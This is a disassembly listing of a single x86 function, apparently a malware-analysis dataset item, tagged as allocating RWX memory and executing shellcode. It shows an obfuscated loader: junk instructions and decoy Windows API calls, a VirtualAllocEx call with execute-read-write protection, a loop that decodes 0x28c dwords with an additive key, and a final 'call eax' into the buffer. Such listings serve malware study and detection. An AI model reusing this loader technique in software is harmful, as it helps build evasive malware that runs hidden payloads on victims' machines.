Function at 0x402d94
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [0x43faac]
mov si, 0x9c
xor esi, dword [0x43fab8]
mov edx, 0xb5
cmp dword [0x43fc14], eax
jbe 0x402dda
mov dword [0x43fcfc], eax
mov edi, dword [0x43fb6c]
add eax, ecx
mov edi, dword [0x43fc44]
add eax, ecx
mov dword [0x43fb84], eax
mov dword [0x43fa10], ecx
mov dword [0x43fc38], esi
mov dword [0x43f9f8], eax
mov dword [0x43f9d0], edx
push 0x10
call sub.user32.dll_GetMenu
mov eax, dword [0x43f9f0]
mov cx, 0x4e
cmp eax, dword [0x43fbc4]
jbe 0x402e22
mov edx, dword [0x43fa78]
mov eax, dword [0x43fcf4]
mov edx, dword [0x43f998]
mov ax, 0xf4
mov dword [0x43f998], eax
mov dword [0x43fa9c], eax
mov esi, dword [0x43faf4]
or dword [0x43fcd4], 0xff0000ff
call sub.kernel32.dll_GetProcessHeap
mov eax, dword [0x43fa10]
mov di, 0x40
mov eax, dword [0x43fa1c]
sub eax, esi
cmp dword [0x43fd1c], 4
jg 0x402e61
sub eax, dword [0x43fb00]
mov edx, 0x3c
mov dword [0x43fa2c], esi
mov dword [0x43fb18], edi
call fcn.00403754
mov edi, dword [0x43fd08]
sub eax, eax
sub edx, eax
cmp dword [0x43fcbc], 0x44
ja 0x402e98
mov esi, dword [0x43fa00]
sub eax, dword [0x43fb9c]
add eax, esi
mov eax, dword [0x43fa18]
add eax, eax
mov dword [0x43fbcc], eax
mov dword [0x43fbc8], eax
sbb ecx, dword [0x43fad0]
push ecx
call sub.user32.dll_GetMenu
mov eax, dword [0x43fcf0]
add eax, edx
mov eax, dword [0x43fbe4]
mov ax, 4
cmp ecx, 1
jle 0x402ed1
mov ecx, dword [0x43fd6c]
mov ax, 4
mov cx, 1
mov dword [0x43faa4], eax
mov dword [0x43fa64], eax
mov eax, dword [0x43faac]
mov dword [0x43fac4], eax
call fcn.0040346c
mov edi, dword [0x43fab4]
add edi, eax
mov edi, dword [0x43fb90]
mov ecx, 0x56
cmp eax, dword [0x43f9f4]
jg 0x402f11
mov edx, dword [0x43fb7c]
mov esi, dword [0x43fb08]
add edx, eax
or edx, edx
mov dword [0x43fa30], esi
push eax
call sub.GDI32.DLL_GetTextAlign
mov eax, dword [0x43fcc8]
mov ax, 8
mov eax, 0x5f
cmp edx, 0
jle 0x402f44
mov eax, dword [0x43fc68]
mov esi, dword [0x43f998]
mov eax, dword [0x43fa54]
add edx, eax
add edx, ecx
mov dword [0x43f9c4], edi
mov dword [0x43f9cc], eax
call fcn.0040346c
mov eax, dword [0x43fc1c]
add eax, eax
mov eax, dword [0x43f9cc]
add edi, eax
cmp eax, 0
jl 0x402f84
mov edx, dword [0x43fc20]
mov eax, dword [0x43fc1c]
xor eax, eax
mov edi, dword [0x43fc48]
mov si, 8
mov dword [0x43fc80], esi
mov dword [0x43fb90], esi
mov eax, dword [sym.imp.user32.dll_GetMenu]
inc eax
mov esi, dword [eax]
cmp esi, dword [0x43f8de]
jne 0x402f89
dec eax
mov ecx, dword [eax]
mov dword [0x43fb70], ecx
mov eax, dword [0x43fd1c]
add edx, eax
test edx, edx
jb 0x402fc9
mov dword [0x43fa18], edi
mov eax, dword [0x43fab8]
mov ecx, 0x70
sub ecx, ecx
mov dword [0x43fcac], eax
mov dword [0x43f9cc], eax
mov eax, dword [0x43fa04]
push edx
call sub.user32.dll_GetMenu
mov eax, dword [0x43fb88]
sub esi, esi
mov edx, dword [0x43fc94]
test edx, edx
je 0x402ff6
mov eax, dword [0x43fd6c]
mov eax, 0x3e
mov dword [0x43f9d4], edx
mov esi, dword [0x43fd88]
push 0x40
push 0x1000
push 0x25000
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
mov dword [0x43fb48], eax
adc eax, dword [0x43fa2c]
mov eax, 0xa0
adc eax, dword [0x43fd54]
cmp dword [0x43fc40], 0
jg 0x40304d
mov eax, dword [0x43fd5c]
mov eax, dword [0x43fd18]
add eax, ecx
mov eax, dword [0x43fa20]
mov dword [0x43fbe4], esi
mov dword [0x43fd48], eax
mov esi, dword [0x43fc68]
push 0x20
call sub.GDI32.DLL_GetBkColor
mov eax, dword [0x43fd74]
add eax, eax
mov eax, dword [0x43fa14]
sub edi, ecx
cmp dword [0x43f998], eax
ja 0x403082
mov dword [0x43fb38], eax
mov esi, dword [0x43fbdc]
mov eax, dword [0x43fb54]
and eax, esi
mov dword [0x43fb4c], edi
mov esi, dword [0x43fb48]
mov edi, 0x28c
mov eax, dword [0x43fb70]
add eax, 0x137787e
mov ecx, dword [eax]
add ecx, 0x75704c73
mov dword [esi], ecx
add eax, 4
add esi, 4
dec edi
jne 0x403098
mov esi, dword [0x43fd78]
add edx, eax
mov eax, dword [0x43fd58]
add eax, eax
cmp eax, dword [0x43fb18]
ja 0x4030db
mov eax, dword [0x43fd2c]
add edx, eax
mov dword [0x43fcb0], edi
mov dword [0x43f9e0], edi
mov dword [0x43fba0], esi
mov dword [0x43fba8], eax
call sub.kernel32.dll_GetProcessHeap
mov eax, dword [0x43fcfc]
add ecx, esi
mov eax, dword [0x43fd54]
cmp ecx, dword [0x43f998]
jb 0x403120
mov dword [0x43fc38], eax
mov eax, dword [0x43f9b8]
add eax, eax
mov eax, dword [0x43fd08]
sub edx, eax
mov dword [0x43fd54], eax
xor dword [0x43fa64], 0xffffff
mov eax, dword [0x43f9fc]
mov dword [0x43f9f0], edi
mov dword [0x43fb80], eax
push 8
push 0x4000
push 0xc00
push 0
call sub.kernel32.dll_VirtualAlloc
mov eax, dword [0x43fb80]
add eax, eax
cmp edi, 0
jne 0x40317b
mov edi, dword [0x43fa44]
mov dword [0x43fc84], edi
mov eax, dword [0x43fb38]
mov eax, 0x80
mov eax, dword [0x43fd20]
mov ecx, 4
mov dword [0x43fbe8], eax
mov dword [0x43f9f4], edx
mov esi, dword [0x43fb84]
mov dword [0x43fa74], edx
push dword [0x43fc1c]
call sub.GDI32.DLL_GetBkColor
mov eax, dword [0x43f99c]
add eax, edi
mov esi, dword [0x43fa4c]
mov di, 0x10
cmp eax, esi
jl 0x4031c9
mov eax, dword [0x43fd24]
mov dword [0x43faac], eax
or edi, dword [0x43fcfc]
add eax, edx
mov dword [0x43fd88], eax
mov dword [0x43f9c0], eax
mov dword [0x43fba0], edx
mov dword [0x43fcd0], edx
mov eax, dword [0x43fa18]
mov eax, dword [0x43fa2c]
push eax
call sub.GDI32.DLL_GetBkColor
mov eax, dword [0x43fc6c]
sub esi, ecx
cmp dword [0x43fbc0], eax
je 0x403209
mov dword [0x43fd14], eax
mov edx, dword [0x43fd0c]
sub eax, eax
add edi, esi
mov dword [0x43fb10], edx
mov dword [0x43fd70], esi
mov esi, dword [0x43fd8c]
mov ecx, dword [0x43fd54]
mov eax, dword [0x43fb48]
call eax
pop ebp
ret